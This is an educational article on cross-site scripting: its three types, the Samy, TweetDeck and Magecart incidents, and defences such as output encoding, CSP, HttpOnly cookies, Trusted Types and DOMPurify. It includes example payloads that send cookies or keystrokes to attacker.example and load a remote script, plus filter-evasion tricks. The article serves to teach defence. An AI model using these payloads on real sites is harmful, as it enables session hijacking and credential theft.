Cross-site scripting (XSS) is a vulnerability that injects malicious script into a web application so that it runs inside another user's browser. The essence of the attack is "the attacker's code runs inside the origin the site is supposed to trust (inside the Same-Origin Policy)". It's not hitting the wall from outside — it's running on the inside with the same privileges, so SOP provides no protection at all. This article covers the three types / working example code / the Samy worm and Magecart incidents / layered defense via output encoding, CSP, HttpOnly, and Trusted Types.
What XSS is — breaching the browser's trust boundary #
The root of the browser's security model is the Same-Origin Policy (SOP): scripts belonging to the same origin (scheme + host + port) can freely read and write each other; scripts from different origins cannot operate on each other.
XSS's lethality lies in making the attacker's code execute inside the victim site's origin. It isn't hitting the wall from outside; it's running inside the wall with the same privileges, so SOP offers no protection whatsoever.
The browser grants any same-origin script all of the privileges that origin holds. Once XSS lands, the attacker reaches the victim's session / cookies / DOM / API calls via XHR/fetch — almost everything. This is exactly why the "alert(1) demo" should never be brushed off.
Why it's called "Cross-Site" #
Historically, the early attack scenarios involved sending the victim to a "different site (cross-site)" with a payload that triggered script execution on the target site. The vast majority of XSS today injects into the target site itself, so the name doesn't quite match reality, but the convention has stuck. Don't confuse it with CSRF (Cross-Site Request Forgery) — XSS executes scripts, CSRF sends requests; very different things.
Placement in the OWASP Top 10 #
XSS has long been the representative sub-category of OWASP Top 10's A03:2021 Injection (until 2017 it was its own A07). Alongside SQL injection it's one of the two giants of injection. The spread of automatic framework escaping leads some to call it a "dead vulnerability", but DOM XSS / mXSS / Magecart-style third-party JS attacks (discussed below) keep it high on incident reports today.
The three types of XSS #
XSS is classified by where and how the payload reaches the victim's browser. Detection and the priority of mitigations both shift slightly between them.
Reflected XSS #
An attack string in URL query parameters or POST bodies is echoed straight back into the server's HTML and runs in the victim's browser. The attacker has to get the victim to click a malicious URL.
Typical scenario: (1) attacker crafts a URL like ?q=<script>...</script> → (2) tricks the victim into clicking it via email / SNS / another site → (3) if the implementation echoes q straight into HTML, the script runs. Reach is narrow because it depends on a URL, but combined with phishing it lands well.
Stored XSS (Persistent XSS) #
The payload is saved on the server side (DB / files / cache) and fires every time a victim opens the page. Forum posts, product reviews, user profiles, comment sections, messaging features — these are typical intrusion points.
The victim is attacked just by browsing the site normally, which makes this dramatically more dangerous. Like the Samy worm, a once-implanted XSS can contaminate other users' accounts in succession, spreading infection exponentially.
DOM Based XSS #
The server's response HTML is innocent, but the client-side JavaScript triggers it while manipulating the DOM. Because the server is never involved, server-side WAFs and template-engine escaping cannot stop it.
It is produced by dangerous "source" + "sink" combinations.
| Type | Examples |
|---|---|
| Dangerous sources | location.hash, location.search, document.referrer, postMessage, localStorage |
| Dangerous sinks | innerHTML, outerHTML, document.write, eval, setTimeout(string), Function(), jQuery $() with HTML argument |
// Bad: drop location.hash straight into the DOM
document.getElementById('view').innerHTML = location.hash.substring(1);
// Attack URL: https://victim.example/page#<img src=x onerror=alert(1)>
// → fires the instant the hash content lands in the DOMSPA frameworks (React/Vue) open the same hole when dangerouslySetInnerHTML or v-html is used.
Supplementary: Self-XSS and Blind XSS #
- Self-XSS — the victim pastes attack code into their own browser console. Social engineering, not a vulnerability. Sites like Facebook's DevTools display warnings asking users not to paste
- Blind XSS — stored XSS whose result is not visible to the attacker directly. Fires only inside an admin's view of submissions, for example. Detected using external callback services like XSS Hunter
How the attack works — concrete code #
Minimal reflected XSS #
// search.php — embedded without escaping
<?php
$q = $_GET['q'] ?? '';
echo "<h1>Search results: $q</h1>"; // ★ the hole
# Attack URL — clicking it ships the cookie to the attacker
https://victim.example/search.php?q=<script>fetch('https://attacker.example/?c='+document.cookie)</script>
Minimal stored XSS #
Forum app that displays post bodies without escaping:
// post-view.php (vulnerable)
echo "<div class='comment'>" . $row['body'] . "</div>";
<!-- The body the attacker submits via the form -->
<img src=x onerror="
var s = document.createElement('script');
s.src = 'https://attacker.example/payload.js';
document.body.appendChild(s);
">
→ every user who opens this thread loads payload.js in their browser
The victim clicked nothing.
Minimal DOM Based XSS #
<!-- victim.example/profile.html -->
<div id="welcome"></div>
<script>
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = 'Welcome ' + name;
</script>
# Attack URL: ?name=<img src=x onerror=alert(document.domain)>
# The payload is not in the server's response → WAF / template escaping can't see itPayload construction tricks #
In real environments <script> tags and on* attributes are often blocked. Attackers try to evade with techniques like:
- Mixed case in tags —
<ScRiPt>(against old WAF regexes) - Attribute vectors —
<img src=x onerror=...>,<svg onload=...>,<a href="javascript:..."> - Varied event handlers —
onclick,onmouseover,onfocus,onerror,onload,onanimationend - Encoding — HTML entities (
j=j), URL encoding, Unicode escapes (\u0061) - JavaScript URLs —
<a href="javascript:alert(1)"> - CSS injection — old IE's
expression(), attribute-selector value exfiltration
PortSwigger's XSS Cheat Sheet and the OWASP Filter Evasion Cheat Sheet together collect hundreds of payload variants.
What XSS actually does #
Because the demos so often "just pop an alert", some developers still take XSS lightly. Real attacks look more like this:
Session hijacking (cookie theft) #
The classic, and still the strongest. Send document.cookie to the attacker's server and use the victim's session ID directly to take over the login (Session Hijacking). Cookies without the HttpOnly flag are vulnerable; modern frameworks default to HttpOnly, but custom or legacy systems often miss it.
Fake login forms #
Inject a fake login form into the page with innerHTML and ship typed ID/passwords to the attacker. The URL bar still shows the legitimate domain, so the victim doesn't doubt "I entered it into the real site". As a credential-theft method this is far more effective than phishing.
Keylogger #
document.addEventListener('keydown', e =>
fetch('https://attacker/?k=' + e.key)
);
// Credit-card pages, internal systems, email bodies — every keystroke captured in real timeAbuse of internal APIs (XSS + CSRF bypass) #
The victim's browser is holding valid session cookies, so the attack script can fetch() any API in the victim's origin. Even APIs that require a CSRF token are open, because the XSS script can read the embedded token from the HTML, bypassing every CSRF defense. Money transfers, password changes, email-address changes — anything the victim can do, the attacker can do.
Browser-resident botnet (BeEF) #
BeEF (Browser Exploitation Framework) is an OSS that uses XSS to plant a "hook" in the victim's browser and operate it in real time from the attacker's console. You can drive many hooked browsers simultaneously to scan their internal network, attack services reachable via internal IPs, steal Slack / Office 365 sessions, and so on. A common demo prop in penetration testing.
Worms (Samy-style) #
Stored XSS can mutate into a self-replicating worm. If the payload itself includes "write the same payload onto any user who views this profile", infection spreads exponentially. The 2005 Samy worm took down MySpace in 20 hours using exactly this pattern.
Famous XSS incidents #
Samy Worm (MySpace, 2005) #
The historic XSS worm event. Then 19-year-old Samy Kamkar exploited a stored XSS in MySpace's profile feature and released a worm that "anyone viewing his profile would friend Samy and have the same payload written into their own profile". It infected over a million people in about 20 hours, and MySpace had to shut down in an emergency. Samy was prosecuted under the U.S. Computer Fraud and Abuse Act and received probation, community service, and computer-use restrictions.
Technically the worm combined multiple clever techniques: embedding JS inside CSS's background:url(), rewriting the DOM recursively with innerHTML, evading filters with newlines like java\nscript:, and more. The incident that made the world realize how destructive XSS could be.
TweetDeck (2014) #
A stored XSS was found in the official Twitter client TweetDeck, and the exploiting tweet propagated tens of thousands of times. Displaying a tweet with the payload caused the user's account to auto-retweet, producing a Samy-shaped event at Twitter scale. Twitter took TweetDeck offline within hours and shipped a fix.
Magecart (British Airways / Ticketmaster, 2018) #
XSS is often thought of as "a problem in your own code", but modern sites pull in large amounts of third-party JS. The Magecart group breached servers that distribute third-party scripts (tag managers, chat widgets, payment helpers) and injected card-skimming code into the JS served from them.
- British Airways — 380,000 card records leaked. GDPR fine of £183M (~¥25B) initially, later reduced to £20M
- Ticketmaster — 40,000+ leaked via a chat-widget vector
- Newegg — card data was skimmed for a month
The moment you trust <script src="https://cdn.thirdparty.example/widget.js">, a compromise of that CDN places XSS inside your site. This is one of XSS's main modern battlegrounds. Pinning the hash via SRI (Subresource Integrity) is a realistic countermeasure.
Lessons #
What these incidents have in common is that "trust the framework's automatic escaping and you're safe", "we write our own code carefully" simply isn't enough. The classic "build HTML by string concatenation" form has decreased, but (a) DOM manipulation paths, (b) third-party JS paths, and (c) WebView / postMessage paths are if anything an expanding attack surface.
Defense — Defense in Depth #
XSS defense isn't completed by any one mitigation. Combine input validation, output encoding, CSP, cookie attributes, sanitizers, and Trusted Types in layers so that when one layer breaks the next still bounds the damage.
Output encoding (by context) — most important #
When emitting user input into HTML, escape according to the output context.
Try it live — type a payload into the sandbox below and toggle the "escape" checkbox. With escaping ON it shows as plain text; with it OFF, the <img onerror> is parsed as HTML and the script runs (that's XSS). Rendering happens inside a sandboxed iframe isolated from this page, so it's safe.
| Context | What to escape |
|---|---|
| HTML body | &, <, >, ", ' to character references |
| HTML attribute value (quoted) | The above + match the attribute's quote |
| HTML attribute value (unquoted) | Also spaces, tabs, newlines, = |
| JavaScript string literal | \, ', ", newlines, </, Unicode control |
| URL context (href/src) | Forbid javascript: scheme + URL-encode |
| CSS context | Forbid expression() + backslash-escape |
PHP's htmlspecialchars($s, ENT_QUOTES | ENT_HTML5, 'UTF-8'), Blade's {{ $s }} (auto), Twig's {{ s }} (auto), React JSX (auto) are the standards. The trick is to avoid mixing contexts — if you embed JS inside HTML, both layers of escaping are required.
Content Security Policy (CSP) — the last line #
A response header that tells the browser "the only places this page may load scripts from". Even if XSS lands, the script doesn't execute.
Content-Security-Policy: default-src 'self'; \
script-src 'self' https://cdn.example 'nonce-r4nd0m'; \
object-src 'none'; \
base-uri 'self'; \
frame-ancestors 'none'; \
report-uri /csp-reportKey directives:
script-src 'self'— only same-origin scripts- Never add
'unsafe-inline'— its presence renders CSP useless against XSS - Use nonce-based (
'nonce-r4nd0m') or hash-based ('sha256-...') to allow only the inline JS you need object-src 'none'— closes Flash/PDF-borne vulnerabilities toobase-uri 'self'— prevents URL-resolution tampering via<base>report-uri/report-to— sends violations back for monitoring
The standard rollout is Content-Security-Policy-Report-Only mode first, fix existing violations, then enforce in production.
HttpOnly / SameSite cookies #
Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax; Path=/With HttpOnly, JS can no longer read it via document.cookie → XSS-based cookie theft is neutralized. SameSite (Strict / Lax) doubles as CSRF defense by restricting cookie sending from third-party sites.
Input validation (supportive) #
Check at input time that "permitted character set / length / format" hold. Insufficient on its own (it can't catch missing escapes at output time) but useful as a supporting defense layer. Blacklisting (block dangerous characters) gets bypassed, so make whitelisting (only allow specified characters) the foundation.
Framework auto-escaping + reviewing the "escape hatches" #
Almost every modern template engine defaults to auto-escaping:
| Framework | Auto-escape | Escape hatch (dangerous) |
|---|---|---|
| React (JSX) | {value} auto |
dangerouslySetInnerHTML |
| Vue | {{ value }} auto |
v-html |
| Angular | {{ value }} auto |
bypassSecurityTrustHtml() |
| Blade (Laravel) | {{ $value }} auto |
{!! !!} |
| Twig | auto | ` |
Run grep -rn 'dangerouslySetInnerHTML\|v-html\|{!!\||raw' over the codebase and review the hits — that covers the bulk of XSS risk in auto-escaping frameworks.
Trusted Types (root fix for DOM XSS) #
A web standard being implemented in Chromium. It forbids passing raw strings to dangerous sinks like innerHTML, allowing only sanitized objects through.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types defaultWith this enabled, element.innerHTML = userInput; produces a runtime error, and developers must explicitly route through a TrustedHTML policy. A powerful feature that prevents DOM XSS mechanically in the browser, not just in code review.
Sanitizer libraries (DOMPurify) #
When you must render user-supplied HTML as-is (blog posts, rich-text editor output) use a mature sanitizer.
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtml);
element.innerHTML = clean; // safeThe history of XSS is also the history of homemade filters being bypassed. A regex that blocks <script> is sidestepped in minutes. Use a library like DOMPurify that is continuously maintained and patched as CVEs appear.
Testing and detection #
Manual testing #
Throw XSS payloads at every place a user can influence — input fields, URL parameters, HTTP headers (Referer / User-Agent) — and inspect the response HTML and the rendered result.
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'"><script>alert(1)</script>
javascript:alert(1)
# DOM XSS cannot be detected from response HTML alone → check the live DOM in DevToolsAutomated scanners #
- OWASP ZAP — OSS dynamic scanner. Active-scan mode brute-forces XSS payloads
- Burp Suite — the industry-standard proxy. Pro's Scanner is very accurate for XSS
- Acunetix / Netsparker — commercial scanners, including some DOM XSS analysis
Automated scanners are good at reflected and stored XSS but DOM XSS detection requires static analysis + headless-browser execution, and full automation is still hard.
Static analysis (SAST) #
Trace data flow from "dangerous sources" to "dangerous sinks" in the source. Semgrep / CodeQL / SonarQube can detect XSS patterns. Effective for mechanically listing uses of dangerous framework functions (dangerouslySetInnerHTML and friends).
CSP reports and runtime detection #
Enabling Content-Security-Policy-Report-Only in production sends a report when XSS slips through (or when a legitimate script unintentionally violates the policy). This is the closest you can get to detecting XSS that actually fired in production.
Related attacks — the XSS family #
A quick map of attacks confused with or close kin to XSS.
| Attack | Overview |
|---|---|
| XS-Leaks (Cross-Site Leaks) | Leak side-channel information ("is the victim logged into the target site?", "does this resource exist?") from a different origin, via <img> load timing, postMessage response timing, etc. |
| mXSS (Mutation XSS) | HTML that passed the sanitizer is mutated by the browser's DOM parser into a new XSS vector. Edge cases of <noscript> <template> <math> <svg> interacting with innerHTML — DOMPurify itself has had multiple CVEs (2019, 2020, 2024) |
| XSSI (Cross-Site Script Inclusion) | Load confidential JSON/JSONP from another origin under the victim's session via <script src="...">, then observe side effects. Leaks if the response contains attacker-controlled callbacks or top-level array literals. Modern APIs prefix )]}' to defeat this |
Summary — the seven minimums developers should own #
XSS isn't a "20-year-old vulnerability"; it keeps changing shape and remains one of the largest Web threats in 2026. Auto-escaping frameworks reduced classic "string-concatenation XSS", but DOM manipulation, third-party JS, WebViews, and postMessage keep producing new attack surfaces.
- Context-specific output encoding as the top habit
- Nonce-based CSP, kill
'unsafe-inline' - HttpOnly / Secure / SameSite on every session cookie
- Review every use of
dangerouslySetInnerHTML/v-html/{!! !!} - DOMPurify for rich-text output (no homemade sanitizers)
- Enable Trusted Types in new projects
- Restrict third-party JS sources and pin with SRI (Subresource Integrity)
The moment you think "my site is fine" is exactly when a Magecart-class incident begins. Maintaining layered defense continuously is the only realistic strategy.